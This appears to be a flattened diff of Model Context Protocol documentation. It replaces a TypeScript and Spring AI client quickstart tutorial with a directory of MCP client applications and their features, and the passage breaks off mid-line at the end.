Anthropic's web-based AI assistant that provides MCP support for remote servers. - When you submit a query: + **Key features:** - 1. The client gets the list of available tools from the server - 2. Your query is sent to Claude along with tool descriptions - 3. Claude decides which tools (if any) to use - 4. The client executes any requested tool calls through the server - 5. Results are sent back to Claude - 6. Claude provides a natural language response - 7. The response is displayed to you + * Support for remote MCP servers via integrations UI in settings + * Access to tools, prompts, and resources from configured MCP servers + * Seamless integration with Claude's conversational interface + * Enterprise-grade security and compliance features + - ## Best practices + + Cline is an autonomous coding agent in VS Code that edits files, runs commands, uses a browser, and more–with your permission at each step. - 1. **Error Handling** - * Always wrap tool calls in try-catch blocks - * Provide meaningful error messages - * Gracefully handle connection issues + **Key features:** - 2. **Resource Management** - * Use `AsyncExitStack` for proper cleanup - * Close connections when done - * Handle server disconnections + * Create and add tools through natural language (e.g. "add a tool that searches the web") + * Share custom MCP servers Cline creates with others via the `~/Documents/Cline/MCP` directory + * Displays configured MCP servers along with their tools, resources, and any error logs + - 3. **Security** - * Store API keys securely in `.env` - * Validate server responses - * Be cautious with tool permissions + + CodeGPT is a popular VS Code and Jetbrains extension that brings AI-powered coding assistance to your editor. It supports integration with MCP servers for tools, allowing users to leverage external AI capabilities directly within their development workflow. - 4. **Tool Names** - * Tool names can be validated according to the format specified [here](/specification/draft/server/tools#tool-names) - * If a tool name conforms to the specified format, it should not fail validation by an MCP client + **Key features:** - ## Troubleshooting + * Use MCP tools from any configured MCP server + * Seamless integration with VS Code and Jetbrains UI + * Supports multiple LLM providers and custom endpoints - ### Server Path Issues + **Learn more:** - * Double-check the path to your server script is correct - * Use the absolute path if the relative path isn't working - * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path - * Verify the server file has the correct extension (.py for Python or .js for Node.js) + * [CodeGPT Documentation](https://docs.codegpt.co/) + - Example of correct path usage: + + Codex is a lightweight AI-powered coding agent from OpenAI that runs in your terminal. - ```bash theme={null} - # Relative path - uv run client.py ./server/weather.py + **Key features:** - # Absolute path - uv run client.py /Users/username/projects/mcp-server/weather.py + * Support for MCP tools (listing and invocation) + * Support for MCP resources (list, read, and templates) + * Elicitation support (routes requests to TUI for user input) + * Supports STDIO and HTTP streaming transports with OAuth + * Also available as VS Code extension + - # Windows path (either format works) - uv run client.py C:/projects/mcp-server/weather.py - uv run client.py C:\\projects\\mcp-server\\weather.py - ``` + + Continue is an open-source AI code assistant, with built-in support for MCP Tools, Resource, Prompts, and Apps - ### Response Timing + **Key features:** - * The first response might take up to 30 seconds to return - * This is normal and happens while: - * The server initializes - * Claude processes the query - * Tools are being executed - * Subsequent responses are typically faster - * Don't interrupt the process during this initial waiting period + * Type "@" to mention MCP resources + * Prompt templates surface as slash commands + * Use both built-in and MCP tools directly in chat + * Limited MCP Apps support for displaying MCP UIs + * Supports VS Code and JetBrains IDEs, with any LLM + - ### Common Error Messages + + Copilot-MCP enables AI coding assistance via MCP. - If you see: + **Key features:** - * `FileNotFoundError`: Check your server path - * `Connection refused`: Ensure the server is running and the path is correct - * `Tool execution failed`: Verify the tool's required environment variables are set - * `Timeout error`: Consider increasing the timeout in your client configuration - + * Support for MCP tools and resources + * Integration with development workflows + * Extensible AI capabilities + - - [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-typescript) + + Cursor is an AI code editor. - ## System Requirements + **Key features:** - Before starting, ensure your system meets these requirements: + * Support for MCP tools in Cursor Composer + * Support for roots + * Support for prompts + * Support for elicitation + * Support for both STDIO and SSE + - * Mac or Windows computer - * Node.js 17 or higher installed - * Latest version of `npm` installed - * Anthropic API key (Claude) + + Daydreams is a generative agent framework for executing anything onchain - ## Setting Up Your Environment + **Key features:** - First, let's create and set up our project: + * Supports MCP Servers in config + * Exposes MCP Client + - - ```bash macOS/Linux theme={null} - # Create project directory - mkdir mcp-client-typescript - cd mcp-client-typescript + + ECA is a Free and open-source editor-agnostic tool that aims to easily link LLMs and Editors, giving the best UX possible for AI pair programming using a well-defined protocol - # Initialize npm project - npm init -y + **Key features:** - # Install dependencies - npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv + * **Editor-agnostic**: protocol for any editor to integrate. + * **Single configuration**: Configure eca making it work the same in any editor via global or local configs. + * **Chat** interface: ask questions, review code, work together to code. + * **Agentic**: let LLM work as an agent with its native tools and MCPs you can configure. + * **Context**: support: giving more details about your code to the LLM, including MCP resources and prompts. + * **Multi models**: Login to OpenAI, Anthropic, Copilot, Ollama local models and many more. + * **OpenTelemetry**: Export metrics of tools, prompts, server usage. + - # Install dev dependencies - npm install -D @types/node typescript + + Emacs Mcp is an Emacs client designed to interface with MCP servers, enabling seamless connections and interactions. It provides MCP tool invocation support for AI plugins like [gptel](https://github.com/karthink/gptel) and [llm](https://github.com/ahyatt/llm), adhering to Emacs' standard tool invocation format. This integration enhances the functionality of AI tools within the Emacs ecosystem. - # Create source file - touch index.ts - ``` + **Key features:** - ```powershell Windows theme={null} - # Create project directory - md mcp-client-typescript - cd mcp-client-typescript + * Provides MCP tool support for Emacs. + - # Initialize npm project - npm init -y + + fast-agent is a Python Agent framework, with simple declarative support for creating Agents and Workflows, with full multi-modal support for Anthropic and OpenAI models. - # Install dependencies - npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv + **Key features:** - # Install dev dependencies - npm install -D @types/node typescript + * PDF and Image support, based on MCP Native types + * Interactive front-end to develop and diagnose Agent applications, including passthrough and playback simulators + * Built in support for "Building Effective Agents" workflows. + * Deploy Agents as MCP Servers + - # Create source file - new-item index.ts - ``` - + + Firebender is an IntelliJ plugin that offers a world-class coding agent with MCP integration for tool calling. - Update your `package.json` to set `type: "module"` and a build script: + **Key features:** - ```json package.json theme={null} - { - "type": "module", - "scripts": { - "build": "tsc && chmod 755 build/index.js" - } - } - ``` + * Tool integration for executing commands and scripts via STDIO, SSE indirectly supported via mcp-remote npm package. + * Local server connections for enhanced privacy and security + * MCPs can be installed via project rules or local workstation rules files. + * Individual tools within MCPs can be turned off. + - Create a `tsconfig.json` in the root of your project: + + FlowDown is a blazing fast and smooth client app for using AI/LLM, with a strong emphasis on privacy and user experience. It supports MCP servers to extend its capabilities with external tools, allowing users to build powerful, customized workflows. - ```json tsconfig.json theme={null} - { - "compilerOptions": { - "target": "ES2022", - "module": "Node16", - "moduleResolution": "Node16", - "outDir": "./build", - "rootDir": "./", - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "forceConsistentCasingInFileNames": true - }, - "include": ["index.ts"], - "exclude": ["node_modules"] - } - ``` + **Key features:** - ## Setting Up Your API Key + * **Seamless MCP Integration**: Easily connect to MCP servers to utilize a wide range of external tools. + * **Privacy-First Design**: Your data stays on your device. We don't collect any user data, ensuring complete privacy. + * **Lightweight & Efficient**: A compact and optimized design ensures a smooth and responsive experience with any AI model. + * **Broad Compatibility**: Works with all OpenAI-compatible service providers and supports local offline models through MLX. + * **Rich User Experience**: Features beautifully formatted Markdown, blazing-fast text rendering, and intelligent, automated chat titling. - You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys). + **Learn more:** - Create a `.env` file to store it: + * [FlowDown website](https://flowdown.ai/) + * [FlowDown documentation](https://apps.qaq.wiki/docs/flowdown/) + - ```bash theme={null} - echo "ANTHROPIC_API_KEY=" > .env - ``` + + Think n8n + ChatGPT. FLUJO is a desktop application that integrates with MCP to provide a workflow-builder interface for AI interactions. Built with Next.js and React, it supports both online and offline (ollama) models, it manages API Keys and environment variables centrally and can install MCP Servers from GitHub. FLUJO has a ChatCompletions endpoint and flows can be executed from other AI applications like Cline, Roo or Claude. - Add `.env` to your `.gitignore`: + **Key features:** - ```bash theme={null} - echo ".env" >> .gitignore - ``` + * Environment & API Key Management + * Model Management + * MCP Server Integration + * Workflow Orchestration + * Chat Interface + - - Make sure you keep your `ANTHROPIC_API_KEY` secure! - + + Gemini CLI is an open-source AI agent that brings the power of Gemini directly into your terminal. + - ## Creating the Client + + Programmatically assemble prompts for LLMs using GenAIScript (in JavaScript). Orchestrate LLMs, tools, and data in JavaScript. - ### Basic Client Structure + **Key features:** - First, let's set up our imports and create the basic client class in `index.ts`: + * JavaScript toolbox to work with prompts + * Abstraction to make it easy and productive + * Seamless Visual Studio Code integration + - ```typescript theme={null} - import { Anthropic } from "@anthropic-ai/sdk"; - import { - MessageParam, - Tool, - } from "@anthropic-ai/sdk/resources/messages/messages.mjs"; - import { Client } from "@modelcontextprotocol/sdk/client/index.js"; - import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; - import readline from "readline/promises"; - import dotenv from "dotenv"; + + Genkit is a cross-language SDK for building and integrating GenAI features into applications. The [genkitx-mcp](https://github.com/firebase/genkit/tree/main/js/plugins/mcp) plugin enables consuming MCP servers as a client or creating MCP servers from Genkit tools and prompts. - dotenv.config(); + **Key features:** - const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY; - if (!ANTHROPIC_API_KEY) { - throw new Error("ANTHROPIC_API_KEY is not set"); - } + * Client support for tools and prompts (resources partially supported) + * Rich discovery with support in Genkit's Dev UI playground + * Seamless interoperability with Genkit's existing tools and prompts + * Works across a wide variety of GenAI models from top providers + - class MCPClient { - private mcp: Client; - private anthropic: Anthropic; - private transport: StdioClientTransport | null = null; - private tools: Tool[] = []; + + Delegate tasks to GitHub Copilot coding agent and let it work in the background while you stay focused on the highest-impact and most interesting work - constructor() { - this.anthropic = new Anthropic({ - apiKey: ANTHROPIC_API_KEY, - }); - this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" }); - } - // methods will go here - } - ``` + **Key features:** - ### Server Connection Management + * Delegate tasks to Copilot from GitHub Issues, Visual Studio Code, GitHub Copilot Chat or from your favorite MCP host using the GitHub MCP Server + * Tailor Copilot to your project by [customizing the agent's development environment](https://docs.github.com/en/enterprise-cloud@latest/copilot/how-tos/agents/copilot-coding-agent/customizing-the-development-environment-for-copilot-coding-agent#preinstalling-tools-or-dependencies-in-copilots-environment) or [writing custom instructions](https://docs.github.com/en/enterprise-cloud@latest/copilot/how-tos/agents/copilot-coding-agent/best-practices-for-using-copilot-to-work-on-tasks#adding-custom-instructions-to-your-repository) + * [Augment Copilot's context and capabilities with MCP tools](https://docs.github.com/en/enterprise-cloud@latest/copilot/how-tos/agents/copilot-coding-agent/extending-copilot-coding-agent-with-mcp), with support for both local and remote MCP servers + - Next, we'll implement the method to connect to an MCP server: + + Glama is a comprehensive AI workspace and integration platform that offers a unified interface to leading LLM providers, including OpenAI, Anthropic, and others. It supports the Model Context Protocol (MCP) ecosystem, enabling developers and enterprises to easily discover, build, and manage MCP servers. - ```typescript theme={null} - async connectToServer(serverScriptPath: string) { - try { - const isJs = serverScriptPath.endsWith(".js"); - const isPy = serverScriptPath.endsWith(".py"); - if (!isJs && !isPy) { - throw new Error("Server script must be a .js or .py file"); - } - const command = isPy - ? process.platform === "win32" - ? "python" - : "python3" - : process.execPath; + **Key features:** - this.transport = new StdioClientTransport({ - command, - args: [serverScriptPath], - }); - await this.mcp.connect(this.transport); + * Integrated [MCP Server Directory](https://glama.ai/mcp/servers) + * Integrated [MCP Tool Directory](https://glama.ai/mcp/tools) + * Host MCP servers and access them via the Chat or SSE endpoints + – Ability to chat with multiple LLMs and MCP servers at once + * Upload and analyze local files and data + * Full-text search across all your chats and data + - const toolsResult = await this.mcp.listTools(); - this.tools = toolsResult.tools.map((tool) => { - return { - name: tool.name, - description: tool.description, - input_schema: tool.inputSchema, - }; - }); - console.log( - "Connected to server with tools:", - this.tools.map(({ name }) => name) - ); - } catch (e) { - console.log("Failed to connect to MCP server: ", e); - throw e; - } - } - ``` + + goose is an open source AI agent that supercharges your software development by automating coding tasks. - ### Query Processing Logic + **Key features:** - Now let's add the core functionality for processing queries and handling tool calls: + * Expose MCP functionality to goose through tools. + * MCPs can be installed directly via the [extensions directory](https://block.github.io/goose/v1/extensions/), CLI, or UI. + * goose allows you to extend its functionality by [building your own MCP servers](https://block.github.io/goose/docs/tutorials/custom-extensions). + * Includes built-in extensions for development, memory, computer control, and auto-visualization. + - ```typescript theme={null} - async processQuery(query: string) { - const messages: MessageParam[] = [ - { - role: "user", - content: query, - }, - ]; + + gptme is a open-source terminal-based personal AI assistant/agent, designed to assist with programming tasks and general knowledge work. - const response = await this.anthropic.messages.create({ - model: "claude-sonnet-4-20250514", - max_tokens: 1000, - messages, - tools: this.tools, - }); + **Key features:** - const finalText = []; + * CLI-first design with a focus on simplicity and ease of use + * Rich set of built-in tools for shell commands, Python execution, file operations, and web browsing + * Local-first approach with support for multiple LLM providers + * Open-source, built to be extensible and easy to modify + - for (const content of response.content) { - if (content.type === "text") { - finalText.push(content.text); - } else if (content.type === "tool_use") { - const toolName = content.name; - const toolArgs = content.input as { [x: string]: unknown } | undefined; + + HyperAgent is Playwright supercharged with AI. With HyperAgent, you no longer need brittle scripts, just powerful natural language commands. Using MCP servers, you can extend the capability of HyperAgent, without having to write any code. - const result = await this.mcp.callTool({ - name: toolName, - arguments: toolArgs, - }); - finalText.push( - `[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]` - ); + **Key features:** - messages.push({ - role: "user", - content: result.content as string, - }); + * AI Commands: Simple APIs like page.ai(), page.extract() and executeTask() for any AI automation + * Fallback to Regular Playwright: Use regular Playwright when AI isn't needed + * Stealth Mode – Avoid detection with built-in anti-bot patches + * Cloud Ready – Instantly scale to hundreds of sessions via [Hyperbrowser](https://www.hyperbrowser.ai/) + * MCP Client – Connect to tools like Composio for full workflows (e.g. writing web data to Google Sheets) + - const response = await this.anthropic.messages.create({ - model: "claude-sonnet-4-20250514", - max_tokens: 1000, - messages, - }); + + IBM Bob is an AI SDLC partner that enables AI coding assistance via MCP. Built with security-first principles and enterprise-grade deployment flexibility, Bob integrates security into development workflows through shift-left practices, helping accelerate modernization while maintaining governance and compliance. - finalText.push( - response.content[0].type === "text" ? response.content[0].text : "" - ); - } - } + **Key features:** - return finalText.join("\n"); - } - ``` + * Support for MCP tools and resources with fine-grained control + * Global and project-level MCP server configuration + * STDIO and SSE transport support for local and remote servers + * Individual tool enable/disable for optimized context usage + * Auto-approval capabilities for trusted tools + * Built-in MCP server creation through natural language + * Enterprise-grade security with shift-left integration + * Integration with development workflows + - ### Interactive Chat Interface + + Inspector is a visual editor for your codebase. It connects to Cursor, Claude Code, and Codex so you can edit your frontend visually. Move elements, change text, and ship real code without touching CSS. - Now we'll add the chat loop and cleanup functionality: + **Key features:** - ```typescript theme={null} - async chatLoop() { - const rl = readline.createInterface({ - input: process.stdin, - output: process.stdout, - }); + * Design Mode: Move elements, edit text, and zoom in to interact with your front-end like Figma. + * Agent Connect: Plug in Cursor, Claude Code, or Codex. + * Version Control: Stage changes and open PRs from Inspector. + * MCP Client: Connect any MCP Server you want! + - try { - console.log("\nMCP Client Started!"); - console.log("Type your queries or 'quit' to exit."); + + Jenova is the best MCP client for non-technical users, especially on mobile. - while (true) { - const message = await rl.question("\nQuery: "); - if (message.toLowerCase() === "quit") { - break; - } - const response = await this.processQuery(message); - console.log("\n" + response); - } - } finally { - rl.close(); - } - } + **Key features:** - async cleanup() { - await this.mcp.close(); - } - ``` + * 30+ pre-integrated MCP servers with one-click integration of custom servers + * MCP recommendation capability that suggests the best servers for specific tasks + * Multi-agent architecture with leading tool use reliability and scalability, supporting unlimited concurrent MCP server connections through RAG-powered server metadata + * Model agnostic platform supporting any leading LLMs (OpenAI, Anthropic, Google, etc.) + * Unlimited chat history and global persistent memory powered by RAG + * Easy creation of custom agents with custom models, instructions, knowledge bases, and MCP servers + * Local MCP server (STDIO) support coming soon with desktop apps + - ### Main Entry Point + + JetBrains AI Assistant plugin provides AI-powered features for software development available in all JetBrains IDEs. - Finally, we'll add the main execution logic: + **Key features:** - ```typescript theme={null} - async function main() { - if (process.argv.length < 3) { - console.log("Usage: node index.ts "); - return; - } - const mcpClient = new MCPClient(); - try { - await mcpClient.connectToServer(process.argv[2]); - await mcpClient.chatLoop(); - } catch (e) { - console.error("Error:", e); - await mcpClient.cleanup(); - process.exit(1); - } finally { - await mcpClient.cleanup(); - process.exit(0); - } - } + * Unlimited code completion powered by Mellum, JetBrains' proprietary AI model. + * Context-aware AI chat that understands your code and helps you in real time. + * Access to top-tier models from OpenAI, Anthropic, and Google. + * Offline mode with connected local LLMs via Ollama or LM Studio. + * Deep integration into IDE workflows, including code suggestions in the editor, VCS assistance, runtime error explanation, and more. + - main(); - ``` + + Junie is JetBrains' AI coding agent for JetBrains IDEs and Android Studio. - ## Running the Client + **Key features:** - To run your client with any MCP server: + * Connects to MCP servers over **stdio** to use external tools and data sources. + * Per-command approval with an optional allowlist. + * Config via `mcp.json` (global `~/.junie/mcp.json` or project `.junie/mcp/`). + - ```bash theme={null} - # Build TypeScript - npm run build + + Joey is a mobile-first MCP client for **iOS and Android** (also available on macOS, Windows, and Linux) that connects to AI models via OpenRouter and remote MCP servers over Streamable HTTP. - # Run the client - node build/index.js path/to/server.py # python server - node build/index.js path/to/build/index.js # node server - ``` + **Key features:** - - If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript), your command might look something like this: `node build/index.js .../quickstart-resources/weather-server-typescript/build/index.js` - + * **Mobile MCP support** — use MCP servers directly from your phone or tablet on iOS and Android. + * Connects to remote MCP servers over **Streamable HTTP** with OAuth support. + * Supports multiple MCP servers per conversation with tool calling. + * MCP sampling and elicitation support for interactive server-initiated workflows. + * Image and audio attachments with SSE streaming responses. + - **The client will:** + + Kilo Code is an autonomous coding AI dev team in VS Code that edits files, runs commands, uses a browser, and more. - 1. Connect to the specified server - 2. List available tools - 3. Start an interactive chat session where you can: - * Enter queries - * See tool executions - * Get responses from Claude + **Key features:** - ## How It Works + * Create and add tools through natural language (e.g. "add a tool that searches the web") + * Discover MCP servers via the MCP Marketplace + * One click MCP server installs via MCP Marketplace + * Displays configured MCP servers along with their tools, resources, and any error logs + - When you submit a query: + + Klavis AI is an Open-Source Infra to Use, Build & Scale MCPs with ease. - 1. The client gets the list of available tools from the server - 2. Your query is sent to Claude along with tool descriptions - 3. Claude decides which tools (if any) to use - 4. The client executes any requested tool calls through the server - 5. Results are sent back to Claude - 6. Claude provides a natural language response - 7. The response is displayed to you + **Key features:** - ## Best practices + * Slack/Discord/Web MCP clients for using MCPs directly + * Simple web UI dashboard for easy MCP configuration + * Direct OAuth integration with Slack & Discord Clients and MCP Servers for secure user authentication + * SSE transport support - 1. **Error Handling** - * Use TypeScript's type system for better error detection - * Wrap tool calls in try-catch blocks - * Provide meaningful error messages - * Gracefully handle connection issues + **Learn more:** - 2. **Security** - * Store API keys securely in `.env` - * Validate server responses - * Be cautious with tool permissions + * [Demo video showing MCP usage in Slack/Discord](https://youtu.be/9-QQAhrQWw8) + - ## Troubleshooting + + Langdock is the enterprise-ready solution for rolling out AI to all of your employees while enabling your developers to build and deploy custom AI workflows on top. - ### Server Path Issues + **Key features:** - * Double-check the path to your server script is correct - * Use the absolute path if the relative path isn't working - * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path - * Verify the server file has the correct extension (.js for Node.js or .py for Python) + * Remote MCP Server (SSE & Streamable HTTP) support, connect to any MCP server via OAuth, API Key, or without authentication. + * MCP Tool discovery and management, including tool confirmation UI. + * Enterprise-grade security and compliance features + - Example of correct path usage: + + Langflow is an open-source visual builder that lets developers rapidly prototype and build AI applications, it integrates with the Model Context Protocol (MCP) as both an MCP server and an MCP client. - ```bash theme={null} - # Relative path - node build/index.js ./server/build/index.js + **Key features:** - # Absolute path - node build/index.js /Users/username/projects/mcp-server/build/index.js + * Full support for using MCP server tools to build agents and flows. + * Export agents and flows as MCP server + * Local & remote server connections for enhanced privacy and security - # Windows path (either format works) - node build/index.js C:/projects/mcp-server/build/index.js - node build/index.js C:\\projects\\mcp-server\\build\\index.js - ``` + **Learn more:** - ### Response Timing + * [Demo video showing how to use Langflow as both an MCP client & server](https://www.youtube.com/watch?v=pEjsaVVPjdI) + - * The first response might take up to 30 seconds to return - * This is normal and happens while: - * The server initializes - * Claude processes the query - * Tools are being executed - * Subsequent responses are typically faster - * Don't interrupt the process during this initial waiting period + + LibreChat is an open-source, customizable AI chat UI that supports multiple AI providers, now including MCP integration. - ### Common Error Messages + **Key features:** - If you see: + * Extend current tool ecosystem, including [Code Interpreter](https://www.librechat.ai/docs/features/code_interpreter) and Image generation tools, through MCP servers + * Add tools to customizable [Agents](https://www.librechat.ai/docs/features/agents), using a variety of LLMs from top providers + * Open-source and self-hostable, with secure multi-user support + * Future roadmap includes expanded MCP feature support + - * `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded - * `Connection refused`: Ensure the server is running and the path is correct - * `Tool execution failed`: Verify the tool's required environment variables are set - * `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables - * `TypeError`: Ensure you're using the correct types for tool arguments - * `BadRequestError`: Ensure you have enough credits to access the Anthropic API - + + LM Studio is a cross-platform desktop app for discovering, downloading, and running open-source LLMs locally. You can now connect local models to tools via Model Context Protocol (MCP). - - - This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters. - To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](/sdk/java/mcp-client) documentation - + **Key features:** - This example demonstrates how to build an interactive chatbot that combines Spring AI's Model Context Protocol (MCP) with the [Brave Search MCP Server](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/brave-search). The application creates a conversational interface powered by Anthropic's Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data. - [You can find the complete code for this tutorial here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/web-search/brave-chatbot) + * Use MCP servers with local models on your computer. Add entries to `mcp.json` and save to get started. + * Tool confirmation UI: when a model calls a tool, you can confirm the call in the LM Studio app. + * Cross-platform: runs on macOS, Windows, and Linux, one-click installer with no need to fiddle in the command line + * Supports GGUF (llama.cpp) or MLX models with GPU acceleration + * GUI & terminal mode: use the LM Studio app or CLI (lms) for scripting and automation - ## System Requirements + **Learn more:** - Before starting, ensure your system meets these requirements: + * [Docs: Using MCP in LM Studio](https://lmstudio.ai/docs/app/plugins/mcp) + * [Create a 'Add to LM Studio' button for your server](https://lmstudio.ai/docs/app/plugins/mcp/deeplink) + * [Announcement blog: LM Studio + MCP](https://lmstudio.ai/blog/mcp) + - * Java 17 or higher - * Maven 3.6+ - * npx package manager - * Anthropic API key (Claude) - * Brave Search API key + + LM-Kit.NET is a local-first Generative AI SDK for .NET (C# / VB.NET) that can act as an **MCP client**. Current MCP support: **Tools only**. - ## Setting Up Your Environment + **Key features:** - 1. Install npx (Node Package eXecute): - First, make sure to install [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm) - and then run: + * Consume MCP server tools over HTTP/JSON-RPC 2.0 (initialize, list tools, call tools). + * Programmatic tool discovery and invocation via `McpClient`. + * Easy integration in .NET agents and applications. - ```bash theme={null} - npm install -g npx - ``` + **Learn more:** - 2. Clone the repository: + * [Docs: Using MCP in LM-Kit.NET](https://docs.lm-kit.com/lm-kit-net/api/LMKit.Mcp.Client.McpClient.html) + * [Creating AI agents](https://lm-kit.com/solutions/ai-agents) + * Product page: [LM-Kit.NET](https://lm-kit.com/products/lm-kit-net/) + - ```bash theme={null} - git clone https://github.com/spring-projects/spring-ai-examples.git - cd model-context-protocol/web-search/brave-chatbot - ``` + + Lutra is an AI agent that transforms conversations into actionable, automated workflows. - 3. Set up your API keys: + **Key features:** - ```bash theme={null} - export ANTHROPIC_API_KEY='your-anthropic-api-key-here' - export BRAVE_API_KEY='your-brave-api-key-here' - ``` + * Easy MCP Integration: Connecting Lutra to MCP servers is as simple as providing the server URL; Lutra handles the rest behind the scenes. + * Chat to Take Action: Lutra understands your conversational context and goals, automatically integrating with your existing apps to perform tasks. + * Reusable Playbooks: After completing a task, save the steps as reusable, automated workflows—simplifying repeatable processes and reducing manual effort. + * Shareable Automations: Easily share your saved playbooks with teammates to standardize best practices and accelerate collaborative workflows. - 4. Build the application: + **Learn more:** - ```bash theme={null} - ./mvnw clean install - ``` + * [Lutra AI agent explained (video)](https://www.youtube.com/watch?v=W5ZpN0cMY70) + - 5. Run the application using Maven: - ```bash theme={null} - ./mvnw spring-boot:run - ``` + + MCP Bundler is perfect local proxy for your MCP workflow. The app centralizes all your MCP servers — toggle, group, turn off capabilities instantly. Switch bundles on the fly inside the MCP Bundler. - - Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure! - + **Key features:** - ## How it Works + * Unified Control Panel: Manage all your MCP servers — both Local STDIO and Remote HTTP/SSE — from one clear macOS window. Start, stop, or edit them instantly without touching configs. + * One Click, All Connected: Launch or disable entire MCP setups with one toggle. Switch bundles per project or workspace and keep your AI tools synced automatically. + * Per-Tool Control: Enable or hide individual tools inside each server. Keep your bundles clean, lightweight, and tailored for every AI workflow. + * Instant Health & Logs: Real-time health indicators and request logs show exactly what's running. Diagnose and fix connection issues without leaving the app. + * Auto-Generate MCP Config: Copy a ready-made JSON snippet for any client in seconds. No manual wiring — connect your Bundler as a single MCP endpoint. - The application integrates Spring AI with the Brave Search MCP server through several components: + **Learn more:** - ### MCP Client Configuration + * [MCP Bundler in action (video)](https://www.youtube.com/watch?v=CEHVSShw_NU) + - 1. Required dependencies in pom.xml: + + MCPBundles provides MCPBundle Studio, a browser-based MCP client for testing and executing MCP tools on remote MCP servers. - ```xml theme={null} - - org.springframework.ai - spring-ai-starter-mcp-client - - - org.springframework.ai - spring-ai-starter-model-anthropic - - ``` + **Key features:** - 2. Application properties (application.yml): + * Discover and inspect available tools with parameter schemas and descriptions + * Supports OAuth and API key authentication for secure provider connections + * Execute MCP tools with form-based and chat based input + * Implements Apps for rendering interactive UI responses from tools + * Streamable HTTP transport for remote MCP server connections + - ```yml theme={null} - spring: - ai: - mcp: - client: - enabled: true - name: brave-search-client - version: 1.0.0 - type: SYNC - request-timeout: 20s - stdio: - root-change-notification: true - servers-configuration: classpath:/mcp-servers-config.json - toolcallback: - enabled: true - anthropic: - api-key: ${ANTHROPIC_API_KEY} - ``` + + mcp-agent is a simple, composable framework to build agents using Model Context Protocol. - This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration. - The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools. - It is disabled by default. + **Key features:** - 3. MCP Server Configuration (`mcp-servers-config.json`): + * Automatic connection management of MCP servers. + * Expose tools from multiple servers to an LLM. + * Implements every pattern defined in [Building Effective Agents](https://www.anthropic.com/research/building-effective-agents). + * Supports workflow pause/resume signals, such as waiting for human feedback. + - ```json theme={null} - { - "mcpServers": { - "brave-search": { - "command": "npx", - "args": ["-y", "@modelcontextprotocol/server-brave-search"], - "env": { - "BRAVE_API_KEY": "" - } - } - } - } - ``` + + mcp-client-chatbot is a local-first chatbot built with Vercel's Next.js, AI SDK, and Shadcn UI. - ### Chat Implementation + **Key features:** - The chatbot is implemented using Spring AI's ChatClient with MCP tool integration: + * It supports standard MCP tool calling and includes both a custom MCP server and a standalone UI for testing MCP tools outside the chat flow. + * All MCP tools are provided to the LLM by default, but the project also includes an optional `@toolname` mention feature to make tool invocation more explicit—particularly useful when connecting to multiple MCP servers with many tools. + * Visual workflow builder that lets you create custom tools by chaining LLM nodes and MCP tools together. Published workflows become callable as `@workflow_name` tools in chat, enabling complex multi-step automation sequences. + - ```java theme={null} - var chatClient = chatClientBuilder - .defaultSystem("You are useful assistant, expert in AI and Java.") - .defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks()) - .defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory())) - .build(); - ``` + + mcp-use is an open source python library to very easily connect any LLM to any MCP server both locally and remotely. - Key features: + **Key features:** - * Uses Claude AI model for natural language understanding - * Integrates Brave Search through MCP for real-time web search capabilities - * Maintains conversation memory using InMemoryChatMemory - * Runs as an interactive command-line application + * Very simple interface to connect any LLM to any MCP. + * Support the creation of custom agents, workflows. + * Supports connection to multiple MCP servers simultaneously. + * Supports all langchain supported models, also locally. + * Offers efficient tool orchestration and search functionalities. + - ### Build and run + + `mcpc` is a universal command-line client for MCP. It maps MCP operations to intuitive CLI commands, giving AI coding agents full protocol access through a single `Bash()` tool call. It works with any MCP server over Streamable HTTP or stdio, with or without a config file. Agents discover commands through `--help` without needing external skills, while MCP handles remote concerns like server discovery, authentication, payments, and access control. - ```bash theme={null} - ./mvnw clean install - java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar - ``` + **Key features:** - or + * **Code mode in the shell:** `--json` output composes with `jq`, `xargs`, and shell pipelines for writing MCP workflows as shell scripts, which can be more accurate and token-efficient than tool calling. `--schema` validates tool schemas against snapshots to detect breaking changes. + * **Progressive tool discovery:** `grep` searches tools, resources, and prompts across all active sessions with regex, so agents load only relevant tools into context. + * **Full MCP coverage:** tools, resources (including subscriptions and templates), prompts, instructions, async tasks with progress tracking and cancellation, list-change notifications, pagination, and logging control. + * **Persistent sessions:** maintain multiple simultaneous server connections via named `@sessions`, with automatic reconnection and health monitoring. + * **Authentication:** OAuth 2.1 with PKCE and dynamic client registration, bearer tokens, multiple named profiles per server, and secure credential storage in the OS keychain. + * **AI sandboxing:** built-in MCP proxy server (`--proxy`) exposes authenticated sessions to AI-generated code without leaking credentials. + * **Interactive shell:** `shell` command provides a REPL with command history, arrow-key navigation, and in-session help for exploratory server testing. + * **x402 payments (experimental):** autonomous USDC payments on Base blockchain, letting AI agents pay for tool calls via the HTTP 402 protocol. + * **Lightweight and cross-platform:** no LLM required, minimal dependencies, production-ready. Runs on macOS, Windows, and Linux. Install via `npm install -g 